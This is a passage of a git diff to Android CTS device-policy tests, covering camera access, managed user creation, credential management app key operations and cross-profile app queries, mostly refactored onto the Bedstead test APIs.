+            String cameraId = cameraIdList[0];
+            // TODO(b/202012931): Use a BlockingCallback once it is possible to use it in
+            // conjunction with StateCallback
+            CameraPolicyTest.CameraCallback callback = new CameraPolicyTest.CameraCallback();
+            sCameraManager.openCamera(cameraId, callback, new Handler(Looper.getMainLooper()));
+            successfullyOpened = callback.waitForResult();
+        }
+
+        assertThat(successfullyOpened).isTrue();
+    }
+
+    private void assertCanNotOpenCamera() {
+        boolean successfullyOpened;
+
+        try {
+            String[] cameraIdList = sCameraManager.getCameraIdList();
+            if (cameraIdList == null || cameraIdList.length == 0) {
+                successfullyOpened = false;
+            } else {
+                String cameraId = cameraIdList[0];
+                CameraPolicyTest.CameraCallback callback = new CameraPolicyTest.CameraCallback();
+                sCameraManager.openCamera(cameraId, callback, new Handler(Looper.getMainLooper()));
+                successfullyOpened = callback.waitForResult();
+            }
+        } catch (Exception e) {
+            Log.d(TAG,
+                    "Exception when opening camera but we expected to not be able to open it",
+                    e);
+            successfullyOpened = false;
+        }
+
+        assertThat(successfullyOpened).isFalse();
+    }
+
+    /**
+     * {@link CameraDevice.StateCallback} is called when {@link CameraDevice} changes its state.
+     */
+    private static class CameraCallback extends CameraDevice.StateCallback {
+
+        private static final int OPEN_TIMEOUT_SECONDS = 5;
+
+        private final CountDownLatch mLatch = new CountDownLatch(1);
+
+        private AtomicBoolean mResult = new AtomicBoolean(false);
+
+        @Override
+        public void onOpened(CameraDevice cameraDevice) {
+            Log.d(TAG, "open camera successfully");
+            mResult.set(true);
+            if (cameraDevice != null) {
+                cameraDevice.close();
+            }
+            mLatch.countDown();
+        }
+
+        @Override
+        public void onDisconnected(CameraDevice cameraDevice) {
+            Log.d(TAG, "disconnect camera");
+            mLatch.countDown();
+        }
+
+        @Override
+        public void onError(CameraDevice cameraDevice, int error) {
+            Log.e(TAG, "Fail to open camera, error code = " + error);
+            mLatch.countDown();
+        }
+
+        public boolean waitForResult() throws InterruptedException {
+            mLatch.await(OPEN_TIMEOUT_SECONDS, TimeUnit.SECONDS);
+            return mResult.get();
+        }
+    }
+
+}
diff --git a/tests/devicepolicy/src/android/devicepolicy/cts/CreateAndManageUserTest.java b/tests/devicepolicy/src/android/devicepolicy/cts/CreateAndManageUserTest.java
new file mode 100644
index 0000000..0da2988
--- /dev/null
+++ b/tests/devicepolicy/src/android/devicepolicy/cts/CreateAndManageUserTest.java
@@ -0,0 +1,102 @@
+/*
+ * Copyright (C) 2021 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.devicepolicy.cts;
+
+import static android.os.UserManager.USER_OPERATION_ERROR_LOW_STORAGE;
+import static android.provider.Settings.Global.SYS_STORAGE_THRESHOLD_MAX_BYTES;
+import static android.provider.Settings.Global.SYS_STORAGE_THRESHOLD_PERCENTAGE;
+
+import static com.android.bedstead.remotedpc.RemoteDpc.DPC_COMPONENT_NAME;
+
+import static com.google.common.truth.Truth.assertThat;
+
+import static org.testng.Assert.expectThrows;
+
+import android.os.PersistableBundle;
+import android.os.UserHandle;
+import android.os.UserManager;
+
+import com.android.bedstead.harrier.BedsteadJUnit4;
+import com.android.bedstead.harrier.DeviceState;
+import com.android.bedstead.harrier.annotations.Postsubmit;
+import com.android.bedstead.harrier.annotations.enterprise.CanSetPolicyTest;
+import com.android.bedstead.harrier.policies.CreateAndManageUser;
+import com.android.bedstead.nene.TestApis;
+
+import org.junit.ClassRule;
+import org.junit.Rule;
+import org.junit.Test;
+import org.junit.runner.RunWith;
+
+@RunWith(BedsteadJUnit4.class)
+public final class CreateAndManageUserTest {
+
+    private static final String TAG = "CreateAndManageUserTest";
+
+    @ClassRule
+    @Rule
+    public static final DeviceState sDeviceState = new DeviceState();
+
+    @Test
+    @Postsubmit(reason = "new test")
+    @CanSetPolicyTest(policy = CreateAndManageUser.class)
+    public void createAndManageUser_returnUserHandle() {
+        UserHandle userHandle = null;
+        try {
+            userHandle = createAndManageUser();
+
+            assertThat(userHandle).isNotNull();
+        } finally {
+            removeUser(userHandle);
+        }
+    }
+
+    @Test
+    @Postsubmit(reason = "new test")
+    @CanSetPolicyTest(policy = CreateAndManageUser.class)
+    public void createAndManageUser_lowStorage_throwOperationException() {
+        try {
+            TestApis.settings().global().putInt(SYS_STORAGE_THRESHOLD_PERCENTAGE, 100);
+            TestApis.settings().global().putString(SYS_STORAGE_THRESHOLD_MAX_BYTES,
+                    String.valueOf(Long.MAX_VALUE));
+
+            UserManager.UserOperationException e = expectThrows(
+                    UserManager.UserOperationException.class, this::createAndManageUser);
+
+            assertThat(e.getUserOperationResult()).isEqualTo(USER_OPERATION_ERROR_LOW_STORAGE);
+        } finally {
+            TestApis.settings().global().reset();
+        }
+    }
+
+    private UserHandle createAndManageUser() {
+        return createAndManageUser(/* adminExtras= */ null, /* flags= */ 0);
+    }
+
+    private UserHandle createAndManageUser(PersistableBundle adminExtras, int flags) {
+        final String testUserName = "TestUser_" + System.currentTimeMillis();
+        final UserHandle userHandle = sDeviceState.dpc().devicePolicyManager().createAndManageUser(
+                DPC_COMPONENT_NAME, testUserName, DPC_COMPONENT_NAME, adminExtras, flags);
+        return userHandle;
+    }
+
+    private void removeUser(UserHandle userHandle) {
+        if (userHandle != null) {
+            TestApis.users().find(userHandle).remove();
+        }
+    }
+}
diff --git a/tests/devicepolicy/src/android/devicepolicy/cts/CredentialManagementAppTest.java b/tests/devicepolicy/src/android/devicepolicy/cts/CredentialManagementAppTest.java
index 64c1783..ced2600 100644
--- a/tests/devicepolicy/src/android/devicepolicy/cts/CredentialManagementAppTest.java
+++ b/tests/devicepolicy/src/android/devicepolicy/cts/CredentialManagementAppTest.java
@@ -16,39 +16,37 @@
 
 package android.devicepolicy.cts;
 
+import static android.Manifest.permission.MANAGE_CREDENTIAL_MANAGEMENT_APP;
 import static android.app.admin.DevicePolicyManager.INSTALLKEY_SET_USER_SELECTABLE;
 
-import static com.google.common.truth.Truth.assertThat;
+import static com.android.bedstead.nene.appops.AppOps.AppOpsMode.ALLOWED;
+import static com.android.bedstead.nene.appops.AppOps.AppOpsMode.DEFAULT;
 
-import static junit.framework.Assert.assertFalse;
-import static junit.framework.Assert.assertTrue;
+import static com.google.common.truth.Truth.assertThat;
+import static com.google.common.truth.Truth.assertWithMessage;
 
 import static org.testng.Assert.assertThrows;
 
-import android.app.AppOpsManager;
 import android.app.admin.DevicePolicyManager;
 import android.content.Context;
 import android.net.Uri;
-import android.os.Binder;
-import android.os.Process;
 import android.security.AppUriAuthenticationPolicy;
 import android.security.AttestedKeyPair;
 import android.security.KeyChain;
 import android.security.keystore.KeyGenParameterSpec;
 import android.security.keystore.KeyProperties;
 
-import androidx.test.core.app.ApplicationProvider;
-import androidx.test.platform.app.InstrumentationRegistry;
-
 import com.android.activitycontext.ActivityContext;
 import com.android.bedstead.harrier.BedsteadJUnit4;
+import com.android.bedstead.harrier.DeviceState;
 import com.android.bedstead.harrier.annotations.Postsubmit;
 import com.android.bedstead.nene.TestApis;
 import com.android.bedstead.nene.permissions.PermissionContext;
 import com.android.compatibility.common.util.BlockingCallback;
 import com.android.compatibility.common.util.FakeKeys;
-import com.android.compatibility.common.util.SystemUtil;
 
+import org.junit.ClassRule;
+import org.junit.Rule;
 import org.junit.Test;
 import org.junit.runner.RunWith;
 
@@ -66,153 +64,176 @@
 import java.security.spec.PKCS8EncodedKeySpec;
 import java.util.Arrays;
 import java.util.List;
+import java.util.concurrent.TimeUnit;
 
 @RunWith(BedsteadJUnit4.class)
-public class CredentialManagementAppTest {
+public final class CredentialManagementAppTest {
 
+    @ClassRule
+    @Rule
+    public static final DeviceState sDeviceState = new DeviceState();
+
+    private static final int KEYCHAIN_CALLBACK_TIMEOUT_SECONDS = 300;
     private static final PrivateKey PRIVATE_KEY =
             getPrivateKey(FakeKeys.FAKE_RSA_1.privateKey, "RSA");
     private static final Certificate CERTIFICATE =
             getCertificate(FakeKeys.FAKE_RSA_1.caCertificate);
     private static final Certificate[] CERTIFICATES = new Certificate[]{CERTIFICATE};
-    private static final TestApis sTestApis = new TestApis();
 
-    private static final Context CONTEXT = ApplicationProvider.getApplicationContext();
+    private static final Context sContext = TestApis.context().instrumentationContext();
     private static final String MANAGE_CREDENTIALS = "android:manage_credentials";
-
     private static final String ALIAS = "com.android.test.rsa";
     private static final String NOT_IN_USER_POLICY_ALIAS = "anotherAlias";
-    private final static String PACKAGE_NAME = CONTEXT.getPackageName();
     private final static Uri URI = Uri.parse("https://test.com");
     private final static AppUriAuthenticationPolicy AUTHENTICATION_POLICY =
             new AppUriAuthenticationPolicy.Builder()
-                    .addAppAndUriMapping(PACKAGE_NAME, URI, ALIAS)
+                    .addAppAndUriMapping(sContext.getPackageName(), URI, ALIAS)
                     .build();
+    private static final DevicePolicyManager sDevicePolicyManager =
+            sContext.getSystemService(DevicePolicyManager.class);
 
-    private final static String MANAGE_CREDENTIAL_MANAGEMENT_APP_PERMISSION =
-            "android.permission.MANAGE_CREDENTIAL_MANAGEMENT_APP";
+    private static PrivateKey getPrivateKey(final byte[] key, String type) {
+        try {
+            return KeyFactory.getInstance(type).generatePrivate(
+                    new PKCS8EncodedKeySpec(key));
+        } catch (InvalidKeySpecException | NoSuchAlgorithmException e) {
+            throw new AssertionError("Unable to get certificate." + e);
+        }
+    }
 
-    private final DevicePolicyManager mDpm = CONTEXT.getSystemService(DevicePolicyManager.class);
-    private final int mUserId = Process.myUserHandle().getIdentifier();
+    private static Certificate getCertificate(byte[] cert) {
+        try {
+            return CertificateFactory.getInstance("X.509").generateCertificate(
+                    new ByteArrayInputStream(cert));
+        } catch (CertificateException e) {
+            throw new AssertionError("Unable to get certificate." + e);
+        }
+    }
 
-    @Postsubmit(reason="new")
     @Test
-    public void installKeyPair_withoutManageCredentialAppOp_throwsException() throws Exception {
-        setManageCredentialsAppOps(PACKAGE_NAME, /* allowed = */ false, mUserId);
+    public void installKeyPair_withoutManageCredentialAppOp_throwsException() {
+        TestApis.packages().instrumented().appOps().set(MANAGE_CREDENTIALS, DEFAULT);
+
         assertThrows(SecurityException.class,
-                () -> mDpm.installKeyPair(/* admin = */ null, PRIVATE_KEY, CERTIFICATES,
+                () -> sDevicePolicyManager.installKeyPair(/* admin = */ null, PRIVATE_KEY,
+                        CERTIFICATES,
                         ALIAS, /* flags = */ 0));
     }
 
-    @Postsubmit(reason="new")
     @Test
-    public void removeKeyPair_withoutManageCredentialAppOp_throwsException() throws Exception {
-        setManageCredentialsAppOps(PACKAGE_NAME, /* allowed = */ false, mUserId);
+    public void removeKeyPair_withoutManageCredentialAppOp_throwsException() {
+        TestApis.packages().instrumented().appOps().set(MANAGE_CREDENTIALS, DEFAULT);
+
         assertThrows(SecurityException.class,
-                () -> mDpm.removeKeyPair(/* admin = */ null, ALIAS));
+                () -> sDevicePolicyManager.removeKeyPair(/* admin = */ null, ALIAS));
     }
 
-    @Postsubmit(reason="new")
     @Test
-    public void generateKeyPair_withoutManageCredentialAppOp_throwsException() throws Exception {
-        setManageCredentialsAppOps(PACKAGE_NAME, /* allowed = */ false, mUserId);
+    public void generateKeyPair_withoutManageCredentialAppOp_throwsException() {
+        TestApis.packages().instrumented().appOps().set(MANAGE_CREDENTIALS, DEFAULT);
+
         assertThrows(SecurityException.class,
-                () -> mDpm.generateKeyPair(/* admin = */ null, "RSA",
+                () -> sDevicePolicyManager.generateKeyPair(/* admin = */ null, "RSA",
                         buildRsaKeySpec(ALIAS, /* useStrongBox = */ false),
                         /* idAttestationFlags = */ 0));
     }
 
-    @Postsubmit(reason="new")
     @Test
-    public void setKeyPairCertificate_withoutManageCredentialAppOp_throwsException()
-            throws Exception {
-        setManageCredentialsAppOps(PACKAGE_NAME, /* allowed = */ false, mUserId);
+    public void setKeyPairCertificate_withoutManageCredentialAppOp_throwsException() {
+        TestApis.packages().instrumented().appOps().set(MANAGE_CREDENTIALS, DEFAULT);
+
         assertThrows(SecurityException.class,
-                () -> mDpm.setKeyPairCertificate(/* admin = */ null, ALIAS,
+                () -> sDevicePolicyManager.setKeyPairCertificate(/* admin = */ null, ALIAS,
                         Arrays.asList(CERTIFICATE), /* isUserSelectable = */ false));
     }
 
-    @Postsubmit(reason="new")
     @Test
     public void installKeyPair_isUserSelectableFlagSet_throwsException() throws Exception {
         setCredentialManagementApp();
+
         assertThrows(SecurityException.class,
-                () -> mDpm.installKeyPair(/* admin = */ null, PRIVATE_KEY, CERTIFICATES,
+                () -> sDevicePolicyManager.installKeyPair(/* admin = */ null, PRIVATE_KEY,
+                        CERTIFICATES,
                         ALIAS, /* flags = */ INSTALLKEY_SET_USER_SELECTABLE));
     }
 
-    @Postsubmit(reason="new")
     @Test
     public void installKeyPair_aliasIsNotInAuthenticationPolicy_throwsException() throws Exception {
         setCredentialManagementApp();
+
         assertThrows(SecurityException.class,
-                () -> mDpm.installKeyPair(/* admin = */ null, PRIVATE_KEY, CERTIFICATES,
+                () -> sDevicePolicyManager.installKeyPair(/* admin = */ null, PRIVATE_KEY,
+                        CERTIFICATES,
                         NOT_IN_USER_POLICY_ALIAS, /* flags = */ 0));
     }
 
-    @Postsubmit(reason="new")
     @Test
     public void installKeyPair_isCredentialManagementApp_success() throws Exception {
         setCredentialManagementApp();
+
         try {
             // Install keypair as credential management app
-            assertThat(mDpm.installKeyPair(/* admin = */ null, PRIVATE_KEY, CERTIFICATES,
+            assertThat(sDevicePolicyManager.installKeyPair(/* admin = */ null, PRIVATE_KEY,
+                    CERTIFICATES,
                     ALIAS, 0)).isTrue();
         } finally {
             // Remove keypair as credential management app
-            mDpm.removeKeyPair(/* admin = */ null, ALIAS);
+            sDevicePolicyManager.removeKeyPair(/* admin = */ null, ALIAS);
             removeCredentialManagementApp();
         }
     }
 
-    @Postsubmit(reason="new")
     @Test
-    public void hasKeyPair_aliasIsNotInAuthenticationPolicy_throwsException() throws Exception {
+    public void hasKeyPair_aliasIsNotInAuthenticationPolicy_throwsException() {
         setCredentialManagementApp();
 
         try {
-            assertThrows(SecurityException.class, () -> mDpm.hasKeyPair(NOT_IN_USER_POLICY_ALIAS));
+            assertThrows(SecurityException.class,
+                    () -> sDevicePolicyManager.hasKeyPair(NOT_IN_USER_POLICY_ALIAS));
         } finally {
             removeCredentialManagementApp();
         }
     }
 
-    @Postsubmit(reason="new")
     @Test
     public void hasKeyPair_isCredentialManagementApp_success() throws Exception {
         setCredentialManagementApp();
+
         try {
-            mDpm.installKeyPair(/* admin = */ null, PRIVATE_KEY, CERTIFICATES, ALIAS,
+            sDevicePolicyManager.installKeyPair(/* admin = */ null, PRIVATE_KEY, CERTIFICATES,
+                    ALIAS,
                     /* flags = */0);
 
-            assertThat(mDpm.hasKeyPair(ALIAS)).isTrue();
+            assertThat(sDevicePolicyManager.hasKeyPair(ALIAS)).isTrue();
         } finally {
-            mDpm.removeKeyPair(/* admin = */ null, ALIAS);
+            sDevicePolicyManager.removeKeyPair(/* admin = */ null, ALIAS);
             removeCredentialManagementApp();
         }
     }
 
-    @Postsubmit(reason="new")
     @Test
     public void removeKeyPair_isCredentialManagementApp_success() throws Exception {
         setCredentialManagementApp();
+
         try {
             // Install keypair as credential management app
-            mDpm.installKeyPair(/* admin = */ null, PRIVATE_KEY, CERTIFICATES, ALIAS, 0);
+            sDevicePolicyManager.installKeyPair(/* admin = */ null, PRIVATE_KEY, CERTIFICATES,
+                    ALIAS, 0);
         } finally {
             // Remove keypair as credential management app
-            assertThat(mDpm.removeKeyPair(/* admin = */ null, ALIAS)).isTrue();
+            assertThat(sDevicePolicyManager.removeKeyPair(/* admin = */ null, ALIAS)).isTrue();
             removeCredentialManagementApp();
         }
     }
 
-    @Postsubmit(reason="new")
     @Test
     public void generateKeyPair_isCredentialManagementApp_success() throws Exception {
         setCredentialManagementApp();
+
         try {
             // Generate keypair as credential management app
-            AttestedKeyPair generated = mDpm.generateKeyPair(/* admin = */ null, "RSA",
+            AttestedKeyPair generated = sDevicePolicyManager.generateKeyPair(/* admin = */ null,
+                    "RSA",
                     buildRsaKeySpec(ALIAS, /* useStrongBox = */ false),
                     /* idAttestationFlags = */ 0);
 
@@ -220,26 +241,28 @@
             verifySignatureOverData("SHA256withRSA", generated.getKeyPair());
         } finally {
             // Remove keypair as credential management app
-            mDpm.removeKeyPair(/* admin = */ null, ALIAS);
+            sDevicePolicyManager.removeKeyPair(/* admin = */ null, ALIAS);
             removeCredentialManagementApp();
         }
     }
 
-    @Postsubmit(reason="new")
     @Test
     public void setKeyPairCertificate_isCredentialManagementApp_success() throws Exception {
         setCredentialManagementApp();
+
         try {
             // Generate keypair and aet keypair certificate as credential management app
             KeyGenParameterSpec spec = new KeyGenParameterSpec.Builder(ALIAS,
                     KeyProperties.PURPOSE_SIGN | KeyProperties.PURPOSE_VERIFY).setDigests(
                     KeyProperties.DIGEST_SHA256).build();
-            AttestedKeyPair generated = mDpm.generateKeyPair(/* admin = */ null, "EC", spec, 0);
+            AttestedKeyPair generated = sDevicePolicyManager.generateKeyPair(/* admin = */ null,
+                    "EC", spec, 0);
             List<Certificate> certificates = Arrays.asList(CERTIFICATE);
-            mDpm.setKeyPairCertificate(/* admin = */ null, ALIAS, certificates, false);
+            sDevicePolicyManager.setKeyPairCertificate(/* admin = */ null, ALIAS, certificates,
+                    false);
 
             // Make sure certificates can be retrieved from KeyChain
-            Certificate[] fetchedCerts = KeyChain.getCertificateChain(CONTEXT, ALIAS);
+            Certificate[] fetchedCerts = KeyChain.getCertificateChain(sContext, ALIAS);
 
             assertThat(generated).isNotNull();
             assertThat(fetchedCerts).isNotNull();
@@ -247,18 +270,20 @@
             assertThat(fetchedCerts[0].getEncoded()).isEqualTo(certificates.get(0).getEncoded());
         } finally {
             // Remove keypair as credential management app
-            mDpm.removeKeyPair(/* admin = */ null, ALIAS);
+            sDevicePolicyManager.removeKeyPair(/* admin = */ null, ALIAS);
             removeCredentialManagementApp();
         }
     }
 
-    @Postsubmit(reason="b/181207615 flaky")
     @Test
+    @Postsubmit(reason = "b/181993922 automatically marked flaky")
     public void choosePrivateKeyAlias_isCredentialManagementApp_aliasSelected() throws Exception {
         setCredentialManagementApp();
+
         try {
             // Install keypair as credential management app
-            mDpm.installKeyPair(null, PRIVATE_KEY, new Certificate[]{CERTIFICATE}, ALIAS, 0);
+            sDevicePolicyManager.installKeyPair(null, PRIVATE_KEY, new Certificate[]{CERTIFICATE},
+                    ALIAS, 0);
             KeyChainAliasCallback callback = new KeyChainAliasCallback();
 
             ActivityContext.runWithContext((activity) ->
@@ -266,109 +291,91 @@
                             /* keyTypes= */ null, /* issuers= */ null, URI, /* alias = */ null)
             );
 
-            assertThat(callback.await()).isEqualTo(ALIAS);
+            assertThat(callback.await(KEYCHAIN_CALLBACK_TIMEOUT_SECONDS, TimeUnit.SECONDS))
+                    .isEqualTo(ALIAS);
         } finally {
             // Remove keypair as credential management app
-            mDpm.removeKeyPair(/* admin = */ null, ALIAS);
+            sDevicePolicyManager.removeKeyPair(/* admin = */ null, ALIAS);
             removeCredentialManagementApp();
         }
     }
 
-    @Postsubmit(reason="new")
     @Test
     public void isCredentialManagementApp_isNotCredentialManagementApp_returnFalse()
             throws Exception {
         removeCredentialManagementApp();
-        assertFalse(KeyChain.isCredentialManagementApp(CONTEXT));
+
+        assertThat(KeyChain.isCredentialManagementApp(sContext)).isFalse();
     }
 
-    @Postsubmit(reason="new")
     @Test
     public void isCredentialManagementApp_isCredentialManagementApp_returnTrue() throws Exception {
         setCredentialManagementApp();
         try {
-            assertTrue(KeyChain.isCredentialManagementApp(CONTEXT));
+            assertThat(KeyChain.isCredentialManagementApp(sContext)).isTrue();
         } finally {
             removeCredentialManagementApp();
         }
     }
 
-    @Postsubmit(reason="new")
     @Test
     public void getCredentialManagementAppPolicy_isNotCredentialManagementApp_throwException()
             throws Exception {
         removeCredentialManagementApp();
         assertThrows(SecurityException.class,
-                () -> KeyChain.getCredentialManagementAppPolicy(CONTEXT));
+                () -> KeyChain.getCredentialManagementAppPolicy(sContext));
     }
 
-    @Postsubmit(reason="new")
     @Test
     public void getCredentialManagementAppPolicy_isCredentialManagementApp_returnPolicy()
             throws Exception {
         setCredentialManagementApp();
         try {
-            assertThat(KeyChain.getCredentialManagementAppPolicy(CONTEXT))
+            assertThat(KeyChain.getCredentialManagementAppPolicy(sContext))
                     .isEqualTo(AUTHENTICATION_POLICY);
         } finally {
             removeCredentialManagementApp();
         }
     }
 
-    @Postsubmit(reason="new")
     @Test
     public void unregisterAsCredentialManagementApp_returnTrue()
             throws Exception {
         setCredentialManagementApp();
 
         try {
-            assertTrue(KeyChain.removeCredentialManagementApp(CONTEXT));
+            boolean wasRemoved = KeyChain.removeCredentialManagementApp(sContext);
 
-            assertFalse(KeyChain.isCredentialManagementApp(CONTEXT));
+            assertThat(wasRemoved).isTrue();
+            assertThat(KeyChain.isCredentialManagementApp(sContext)).isFalse();
         } catch (Exception e) {
             removeCredentialManagementApp();
         }
     }
 
-    // TODO(scottjonathan): Using either code generation or reflection we could remove the need for
-    //  these boilerplate classes
-    private static class KeyChainAliasCallback extends BlockingCallback<String> implements
-            android.security.KeyChainAliasCallback {
-        @Override
-        public void alias(final String chosenAlias) {
-            callbackTriggered(chosenAlias);
+    // TODO (b/174677062): Move this into infrastructure
+    private void setCredentialManagementApp() {
+        try (PermissionContext p = TestApis.permissions().withPermission(
+                MANAGE_CREDENTIAL_MANAGEMENT_APP)) {
+            boolean wasSet = KeyChain.setCredentialManagementApp(
+                    sContext, sContext.getPackageName(), AUTHENTICATION_POLICY);
+
+            assertWithMessage("Unable to set credential management app").that(wasSet).isTrue();
         }
+
+        assertThat(KeyChain.isCredentialManagementApp(sContext)).isTrue();
+        assertThat(TestApis.packages().instrumented().appOps().get(MANAGE_CREDENTIALS))
+                .isEqualTo(ALLOWED);
     }
 
     // TODO (b/174677062): Move this into infrastructure
-    private void setCredentialManagementApp() throws Exception {
-        try (PermissionContext p = sTestApis.permissions().withPermission(
-                MANAGE_CREDENTIAL_MANAGEMENT_APP_PERMISSION)){
-            assertTrue("Unable to set credential management app",
-                    KeyChain.setCredentialManagementApp(CONTEXT, PACKAGE_NAME,
-                            AUTHENTICATION_POLICY));
+    private void removeCredentialManagementApp() {
+        try (PermissionContext p = TestApis.permissions().withPermission(
+                MANAGE_CREDENTIAL_MANAGEMENT_APP)) {
+            boolean wasRemoved = KeyChain.removeCredentialManagementApp(sContext);
+            assertWithMessage("Unable to remove credential management app")
+                    .that(wasRemoved).isTrue();
         }
-
-        setManageCredentialsAppOps(PACKAGE_NAME, /* allowed = */ true, mUserId);
-        assertTrue("CredentialManagementApp should have app op MANAGE_CREDENTIALS",
-                isCredentialManagementApp());
-    }
-
-    // TODO (b/174677062): Move this into infrastructure
-    private void removeCredentialManagementApp() throws Exception {
-        try (PermissionContext p = sTestApis.permissions().withPermission(
-                MANAGE_CREDENTIAL_MANAGEMENT_APP_PERMISSION)){
-            assertTrue("Unable to remove credential management app",
-                    KeyChain.removeCredentialManagementApp(CONTEXT));
-        }
-        setManageCredentialsAppOps(PACKAGE_NAME, /* allowed = */ false, mUserId);
-    }
-
-    private void setManageCredentialsAppOps(String packageName, boolean allowed, int userId)
-            throws Exception {
-        String command = "appops set --user " + userId + " " + packageName + " " +
-                "MANAGE_CREDENTIALS " + (allowed ? "allow" : "default");
-        SystemUtil.runShellCommand(InstrumentationRegistry.getInstrumentation(), command);
     }
 
     void verifySignature(String algoIdentifier, PublicKey publicKey, byte[] signature)
@@ -393,30 +400,6 @@
         return sign.sign();
     }
 
-    private static PrivateKey getPrivateKey(final byte[] key, String type) {
-        try {
-            return KeyFactory.getInstance(type).generatePrivate(
-                    new PKCS8EncodedKeySpec(key));
-        } catch (InvalidKeySpecException | NoSuchAlgorithmException e) {
-            throw new AssertionError("Unable to get certificate." + e);
-        }
-    }
-
-    private static Certificate getCertificate(byte[] cert) {
-        try {
-            return CertificateFactory.getInstance("X.509").generateCertificate(
-                    new ByteArrayInputStream(cert));
-        } catch (CertificateException e) {
-            throw new AssertionError("Unable to get certificate." + e);
-        }
-    }
-
-    private boolean isCredentialManagementApp() {
-        AppOpsManager appOpsManager = CONTEXT.getSystemService(AppOpsManager.class);
-        return appOpsManager.unsafeCheckOpNoThrow(MANAGE_CREDENTIALS,
-                Binder.getCallingUid(), CONTEXT.getPackageName()) == AppOpsManager.MODE_ALLOWED;
-    }
-
     private KeyGenParameterSpec buildRsaKeySpec(String alias, boolean useStrongBox) {
         return new KeyGenParameterSpec.Builder(
                 alias,
@@ -428,4 +411,14 @@
                 .setIsStrongBoxBacked(useStrongBox)
                 .build();
     }
+
+    // TODO(scottjonathan): Using either code generation or reflection we could remove the need for
+    //  these boilerplate classes
+    private static class KeyChainAliasCallback extends BlockingCallback<String> implements
+            android.security.KeyChainAliasCallback {
+        @Override
+        public void alias(final String chosenAlias) {
+            callbackTriggered(chosenAlias);
+        }
+    }
 }
diff --git a/tests/devicepolicy/src/android/devicepolicy/cts/CrossProfileAppsTest.java b/tests/devicepolicy/src/android/devicepolicy/cts/CrossProfileAppsTest.java
index da55b9e..42453f3 100644
--- a/tests/devicepolicy/src/android/devicepolicy/cts/CrossProfileAppsTest.java
+++ b/tests/devicepolicy/src/android/devicepolicy/cts/CrossProfileAppsTest.java
@@ -17,6 +17,7 @@
 package android.devicepolicy.cts;
 
 import static com.android.bedstead.harrier.DeviceState.UserType.PRIMARY_USER;
+import static com.android.bedstead.harrier.DeviceState.UserType.WORK_PROFILE;
 import static com.android.bedstead.harrier.OptionalBoolean.FALSE;
 import static com.android.bedstead.harrier.OptionalBoolean.TRUE;
 
@@ -25,6 +26,7 @@
 
 import static org.testng.Assert.assertThrows;
 
+import android.app.admin.RemoteDevicePolicyManager;
 import android.content.ComponentName;
 import android.content.Context;
 import android.content.pm.CrossProfileApps;
@@ -40,12 +42,15 @@
 
 import com.android.bedstead.harrier.BedsteadJUnit4;
 import com.android.bedstead.harrier.DeviceState;
+import com.android.bedstead.harrier.annotations.EnsureHasNoWorkProfile;
 import com.android.bedstead.harrier.annotations.EnsureHasSecondaryUser;
 import com.android.bedstead.harrier.annotations.EnsureHasWorkProfile;
-import com.android.bedstead.harrier.annotations.Postsubmit;
 import com.android.bedstead.harrier.annotations.RequireRunOnPrimaryUser;
 import com.android.bedstead.harrier.annotations.RequireRunOnSecondaryUser;
 import com.android.bedstead.harrier.annotations.RequireRunOnWorkProfile;
+import com.android.bedstead.testapp.TestApp;
+import com.android.bedstead.testapp.TestAppInstance;
+import com.android.bedstead.testapp.TestAppProvider;
 
 import org.junit.ClassRule;
 import org.junit.Ignore;
@@ -53,7 +58,9 @@
 import org.junit.Test;
 import org.junit.runner.RunWith;
 
+import java.util.Collections;
 import java.util.List;
+import java.util.Set;
 import java.util.concurrent.TimeUnit;
 
 @RunWith(BedsteadJUnit4.class)
@@ -69,10 +76,15 @@
 
     @ClassRule @Rule
     public static final DeviceState sDeviceState = new DeviceState();
+    private static final TestAppProvider sTestAppProvider = new TestAppProvider();
+
+    private static final TestApp sCrossProfileTestApp = sTestAppProvider.query()
+            .wherePermissions().contains("android.permission.INTERACT_ACROSS_PROFILES").get();
+    private static final TestApp sNonCrossProfileTestApp = sTestAppProvider.query()
+            .wherePermissions().doesNotContain("android.permission.INTERACT_ACROSS_PROFILES").get();
 
     @Test
     @RequireRunOnPrimaryUser
-    @Postsubmit(reason="new test")
     public void getTargetUserProfiles_callingFromPrimaryUser_doesNotContainPrimaryUser() {
         List<UserHandle> targetProfiles = sCrossProfileApps.getTargetUserProfiles();
 
@@ -81,7 +93,6 @@
     @Test
     @RequireRunOnPrimaryUser
     @EnsureHasSecondaryUser
-    @Postsubmit(reason="new test")
     public void getTargetUserProfiles_callingFromPrimaryUser_doesNotContainSecondaryUser() {
         List<UserHandle> targetProfiles = sCrossProfileApps.getTargetUserProfiles();
 
@@ -90,7 +101,6 @@
 
     @Test
     @RequireRunOnWorkProfile(installInstrumentedAppInParent = TRUE)
-    @Postsubmit(reason="new test")
     public void getTargetUserProfiles_callingFromWorkProfile_containsPrimaryUser() {
         List<UserHandle> targetProfiles = sCrossProfileApps.getTargetUserProfiles();
 
@@ -100,7 +110,6 @@
     @Test
     @RequireRunOnPrimaryUser
     @EnsureHasWorkProfile
-    @Postsubmit(reason="new test")
     public void getTargetUserProfiles_callingFromPrimaryUser_containsWorkProfile() {
         List<UserHandle> targetProfiles = sCrossProfileApps.getTargetUserProfiles();
 
@@ -110,7 +119,6 @@
     @Test
     @RequireRunOnPrimaryUser
     @EnsureHasWorkProfile(installInstrumentedApp = FALSE)
-    @Postsubmit(reason="new test")
     public void getTargetUserProfiles_callingFromPrimaryUser_appNotInstalledInWorkProfile_doesNotContainWorkProfile() {
         List<UserHandle> targetProfiles = sCrossProfileApps.getTargetUserProfiles();
 
@@ -120,7 +128,6 @@
     @Test
     @RequireRunOnSecondaryUser
     @EnsureHasWorkProfile(forUser = PRIMARY_USER)
-    @Postsubmit(reason="new test")
     public void getTargetUserProfiles_callingFromSecondaryUser_doesNotContainWorkProfile() {
         List<UserHandle> targetProfiles = sCrossProfileApps.getTargetUserProfiles();
 
@@ -131,7 +138,6 @@
     @Test
     @RequireRunOnWorkProfile(installInstrumentedAppInParent = TRUE)
     @Ignore // TODO(scottjonathan): Replace use of UIAutomator
-    @Postsubmit(reason="new test")
